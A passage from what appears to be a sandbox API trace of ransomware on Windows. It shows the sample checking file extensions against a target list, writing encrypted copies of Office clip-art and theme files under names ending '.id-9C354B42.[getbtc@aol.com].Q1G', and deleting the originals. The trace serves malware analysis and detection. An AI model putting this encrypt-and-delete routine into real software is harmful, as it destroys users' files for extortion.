(lpString1=".ppt", lpString2=".MID") returned 1 [0243.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.180] lstrlenW (lpString=".zip") returned 4 [0243.180] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.180] lstrlenW (lpString=".rar") returned 4 [0243.180] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.180] lstrlenW (lpString=".bz2") returned 4 [0243.180] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.180] lstrlenW (lpString=".7z") returned 3 [0243.181] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.181] lstrlenW (lpString=".dbf") returned 4 [0243.181] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.181] lstrlenW (lpString=".1cd") returned 4 [0243.181] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.181] lstrlenW (lpString=".jpg") returned 4 [0243.181] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.181] lstrlenW (lpString=".doc") returned 4 [0243.181] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.181] lstrlenW (lpString=".docx") returned 5 [0243.181] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.181] lstrlenW (lpString=".pdf") returned 4 [0243.181] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.181] lstrlenW (lpString=".xls") returned 4 [0243.181] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.181] lstrlenW (lpString=".xlsx") returned 5 [0243.181] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.181] lstrlenW (lpString=".ppt") returned 4 [0243.181] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.181] lstrlenW (lpString=".zip") returned 4 [0243.181] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.181] lstrlenW (lpString=".rar") returned 4 [0243.181] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.181] lstrlenW (lpString=".bz2") returned 4 [0243.181] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.182] lstrlenW (lpString=".7z") returned 3 [0243.182] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.182] lstrlenW (lpString=".dbf") returned 4 [0243.182] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.182] lstrlenW (lpString=".1cd") returned 4 [0243.182] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0243.182] lstrlenW (lpString=".jpg") returned 4 [0243.182] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.182] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0243.182] lstrlenW (lpString="WNTER_01.MID") returned 12 [0243.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0243.199] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=6915) returned 1 [0243.199] CloseHandle (hObject=0x3b4) returned 1 [0243.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0243.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.257] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.258] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0243.258] GetLastError () returned 0x0 [0243.258] ReadFile (in: hFile=0x398, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x1b03, lpOverlapped=0x0) returned 1 [0243.296] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0243.296] ReadFile (in: hFile=0x398, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.296] WriteFile (in: hFile=0x39c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.297] SetEndOfFile (hFile=0x39c) returned 1 [0243.297] CloseHandle (hObject=0x39c) returned 1 [0243.297] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.297] SetEndOfFile (hFile=0x398) returned 1 [0243.299] CloseHandle (hObject=0x398) returned 1 [0243.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0243.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.373] lstrlenW (lpString=".doc") returned 4 [0243.373] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.373] lstrlenW (lpString=".docx") returned 5 [0243.373] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.373] lstrlenW (lpString=".pdf") returned 4 [0243.373] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.373] lstrlenW (lpString=".xls") returned 4 [0243.373] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.373] lstrlenW (lpString=".xlsx") returned 5 [0243.373] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.373] lstrlenW (lpString=".ppt") returned 4 [0243.373] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.373] lstrlenW (lpString=".zip") returned 4 [0243.373] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.373] lstrlenW (lpString=".rar") returned 4 [0243.374] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.374] lstrlenW (lpString=".bz2") returned 4 [0243.374] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.374] lstrlenW (lpString=".7z") returned 3 [0243.374] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.374] lstrlenW (lpString=".dbf") returned 4 [0243.374] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.374] lstrlenW (lpString=".1cd") returned 4 [0243.374] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.374] lstrlenW (lpString=".jpg") returned 4 [0243.374] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.374] lstrlenW (lpString=".doc") returned 4 [0243.374] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0243.374] lstrlenW (lpString=".docx") returned 5 [0243.374] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0243.374] lstrlenW (lpString=".pdf") returned 4 [0243.374] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.374] lstrlenW (lpString=".xls") returned 4 [0243.374] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.374] lstrlenW (lpString=".xlsx") returned 5 [0243.374] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0243.374] lstrlenW (lpString=".ppt") returned 4 [0243.374] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.374] lstrlenW (lpString=".zip") returned 4 [0243.374] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.374] lstrlenW (lpString=".rar") returned 4 [0243.374] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.374] lstrlenW (lpString=".bz2") returned 4 [0243.374] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.375] lstrlenW (lpString=".7z") returned 3 [0243.375] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.375] lstrlenW (lpString=".dbf") returned 4 [0243.375] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.375] lstrlenW (lpString=".1cd") returned 4 [0243.375] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0243.375] lstrlenW (lpString=".jpg") returned 4 [0243.375] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.375] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.375] lstrlenW (lpString="Austin.eftx") returned 11 [0243.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.430] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=26989) returned 1 [0243.430] CloseHandle (hObject=0x3a0) returned 1 [0243.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0243.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.431] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.431] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.431] GetLastError () returned 0x0 [0243.432] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x696d, lpOverlapped=0x0) returned 1 [0243.461] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6970, lpOverlapped=0x0) returned 1 [0243.462] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.462] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0243.462] SetEndOfFile (hFile=0x3a4) returned 1 [0243.468] CloseHandle (hObject=0x3a4) returned 1 [0243.468] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.468] SetEndOfFile (hFile=0x3a0) returned 1 [0243.500] CloseHandle (hObject=0x3a0) returned 1 [0243.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0243.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.501] lstrlenW (lpString=".doc") returned 4 [0243.501] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.501] lstrlenW (lpString=".docx") returned 5 [0243.501] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.501] lstrlenW (lpString=".pdf") returned 4 [0243.501] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.501] lstrlenW (lpString=".xls") returned 4 [0243.501] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.501] lstrlenW (lpString=".xlsx") returned 5 [0243.501] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.501] lstrlenW (lpString=".ppt") returned 4 [0243.501] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.502] lstrlenW (lpString=".zip") returned 4 [0243.502] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString=".rar") returned 4 [0243.502] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString=".bz2") returned 4 [0243.502] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString=".7z") returned 3 [0243.502] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.502] lstrlenW (lpString=".dbf") returned 4 [0243.502] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.502] lstrlenW (lpString=".1cd") returned 4 [0243.502] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.502] lstrlenW (lpString=".jpg") returned 4 [0243.502] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.502] lstrlenW (lpString=".doc") returned 4 [0243.502] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString=".docx") returned 5 [0243.502] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.502] lstrlenW (lpString=".pdf") returned 4 [0243.502] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString=".xls") returned 4 [0243.502] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.502] lstrlenW (lpString=".xlsx") returned 5 [0243.502] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.502] lstrlenW (lpString=".ppt") returned 4 [0243.502] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.503] lstrlenW (lpString=".zip") returned 4 [0243.503] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.503] lstrlenW (lpString=".rar") returned 4 [0243.503] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.503] lstrlenW (lpString=".bz2") returned 4 [0243.503] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.503] lstrlenW (lpString=".7z") returned 3 [0243.503] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.503] lstrlenW (lpString=".dbf") returned 4 [0243.503] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.503] lstrlenW (lpString=".1cd") returned 4 [0243.503] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0243.503] lstrlenW (lpString=".jpg") returned 4 [0243.503] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.503] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.503] lstrlenW (lpString="Civic.eftx") returned 10 [0243.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.504] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=42917) returned 1 [0243.504] CloseHandle (hObject=0x3a0) returned 1 [0243.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0243.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.508] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.508] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.509] GetLastError () returned 0x0 [0243.509] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0243.512] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0243.513] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.513] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0243.514] SetEndOfFile (hFile=0x3a4) returned 1 [0243.514] CloseHandle (hObject=0x3a4) returned 1 [0243.514] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.514] SetEndOfFile (hFile=0x3a0) returned 1 [0243.518] CloseHandle (hObject=0x3a0) returned 1 [0243.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0243.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.519] lstrlenW (lpString=".doc") returned 4 [0243.519] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.519] lstrlenW (lpString=".docx") returned 5 [0243.519] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.519] lstrlenW (lpString=".pdf") returned 4 [0243.519] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".xls") returned 4 [0243.520] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".xlsx") returned 5 [0243.520] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.520] lstrlenW (lpString=".ppt") returned 4 [0243.520] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.520] lstrlenW (lpString=".zip") returned 4 [0243.520] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".rar") returned 4 [0243.520] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".bz2") returned 4 [0243.520] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.520] lstrlenW (lpString=".7z") returned 3 [0243.520] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0243.520] lstrlenW (lpString=".dbf") returned 